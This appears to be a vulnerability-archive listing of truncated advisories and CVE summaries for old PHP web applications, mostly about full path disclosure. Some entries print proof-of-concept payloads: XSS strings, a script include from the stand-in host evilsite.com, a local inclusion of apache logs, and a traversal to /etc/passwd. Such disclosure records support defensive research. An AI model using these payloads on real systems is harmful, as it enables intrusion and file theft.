MPCS v0.2 - XSS

MPCS v0.2 Homepage: http://tpvgames.co.uk/mpcs Affected files: comment.php XSS vuln with cookie & full path disclosure: Direct html injection doesnt seem to work, however, if you navigate to the code below in your browser, and then post a comment on the same page, our XSS example will occure...

singapore gallery <= 0.10.0 Multiple Vulnerabilities

Produce : singapore gallery Versions : 0.10.0 and prior Site : http://www.sgal.org/ Discovred By : Moroccan Security Research Team Simo64 Greetz : CiM-Team - dabdoub - DarkbiteX - drackanz - Iss4m - Mourad - Rachid .:r00tkita - s4mi - Silitix - tahati - And All Friends : - Vulnerable code near...

CVE-2006-3091

CVE-2006-3091 affects PhpMyFactures 1.0 (and possibly 1.2 and earlier). The issue allows remote attackers to obtain the installation path by making direct requests to (1) /verif.php, (2) /inc/footer.php, and (3) /remises/ajouter_remise.php. The NVD entry lists a CVSS2 base score of 5.0 (Medium) w...

PhpMyFactures 1.0 Cross Site Scripting, SQL Injection, Full Path Disclosure and others

PhpMyFactures 1.0 Full Path Disclosure Guest http://.../verif.php Guest http://.../inc/footer.php Guest http://.../remises/ajouterremise.php Informations modification Guest http://.../tva/ajoutertva.php?action=send&tva=DIGITS Guest...

CVE-2006-3003

details.php in Easy Ad-Manager allows remote attackers to obtain the full installation path via an invalid mbid parameter, which leaks the path in an error message. NOTE: this might be resultant from another vulnerability, since this vector also produces cross-site scripting XSS. NOTE: on 2006082...

CVE-2006-3003

CVE-2006-3003 affects Easy Ad-Manager: details.php accepts an invalid mbid parameter which can reveal the full installation path in an error message. The issue may tie to a related XSS vector. The vendor was notified on 2006-08-29 that the issue was fixed. The public details specify the vulnerabi...

CVE-2006-2978

CVE-2006-2978 affects Mafia Moblog 0.6M1 and earlier. The issue allows remote attackers to disclose the installation path via an error message triggered by direct requests to (1) big.php and (2) upgrade.php. No additional exploit details or impact beyond path disclosure are provided in the docume...

mafiamoblog.txt

Produce : Mafia Moblog WebSite :http://mafia.pearlabs.org Version : 6 Full and Prior Discovred By :Moroccan Security Research Team Simo64 IMPACT : Manipulation of data, System access + Full Path Disclosure : The problem is that it is possible to disclose the full path to 'big.php','upgrade.php' b...

mole.com.ua Booking Script

Booking Script. Homepage: http://www.mole.com.ua PError with full path disclosure and possible buffer overflow?: http://www.example.com/week.php?year=2006&month=06&day=0' Warning: checkdate expects parameter 2 to be long, string given in...

TinyMuw v1.0 - XSS

TinyMuw v1.0 Homepage: http://www.l0j1k.com/tinyMuw/index.php Effected files: quickchat.php input box videoPage.php Input isn't sanatized before being generated in the quickchat.php chatbox. For PoC try putting: IMG SRC=javascript:alert'XSS' in as your comment. Full path disclosure error via URL...

NPDS <= 5.10 Local Inclusion, XSS, Full path disclosure

// Script Web -------- www.npds.org versions --- NPDS = 5.10 Solutions -- None official Note ------- Vendor has been contacted // Local Inclusion http://.../header.php?DefaultTheme=../apache/logs/error.log00...

E-Dating System from scriptsez.net - XSS

E-Dating System Homepage: http://www.scriptsez.net/ Effected files: Input boxes. cindex.php Description: A Professional dating system that uses flatfiles instead of MySQL. XSS Vulnerabilities PoC: The input boxes of sending a message, and editing your profile do not properally filter user input...

Easy Ad-Manager

Easy Ad-Manager v. unknown, not listed on homepage Homepage: http://www.scriptsez.net Effected files: details.php XSS Vulnerability with full path disclosure: http://www.example.com/eam/details.php?do=load&mbid=/SCRIPT20SRC=http://evilsite.com/xss.js/SCRIPT Warning: fopenstats//This is remote tex...

Mafia Moblog Full Path Disclosure / SQL injection

Produce : Mafia Moblog WebSite :http://mafia.pearlabs.org Version : 6 Full and Prior Discovred By :Moroccan Security Research Team Simo64 IMPACT : Manipulation of data, System access + Full Path Disclosure : The problem is that it is possible to disclose the full path to 'big.php','upgrade.php' b...

CVE-2006-2893

index.php in GANTTy 1.0.3 allows remote attackers to obtain the full path of the web server via an invalid lang parameter in an authenticate action...

CVE-2006-2893

CVE-2006-2893 affects GANTTy 1.0.3. The vulnerability occurs via an invalid lang parameter in an authenticate action, allowing remote attackers to obtain the full path of the web server. This is a path disclosure issue limited to the affected module/function and is documented across multiple sour...

Partial Links v1.2.2

Partial Links v1.2.2 Homepage: http://www.particlesoft.net/particlelinks/ Effected files: index.php pagefooter.php admin.php Exploits & Vulnerabilities: Possible directory traversal?: http://www.example.com/OtherSites/X2526Y/../../../../../etc/passwd/ SQL Injection:...

GANTTy v1.0.3

GANTTy v1.0.3 Homepage: http://www.gantty.com Effected files: index.php XSS Vulnerabilities PoC: XSS Vulnerability: http://www.example.com/index.php?action=login&message=IMG SRC=javascript:alert'XSS'+email&lang= Full path disclosure error: http://www.example.com/index.php?action=authenticate&lang...

CVE-2005-2463

Kayako LiveResponse 2.x vulnerability (CVE-2005-2463) lets remote attackers obtain sensitive information by directly requesting addressbook.php and other include scripts, with the path exposed in an error message. Affected software: Kayako LiveResponse 2.x. Impact: information disclosure with par...

Design/Logic Flaw

An unspecified script in EVA-Web 2.1.2 and earlier, probably index.php, allows remote attackers to obtain the full path of the web server via invalid 1 perso or 2 aide parameters...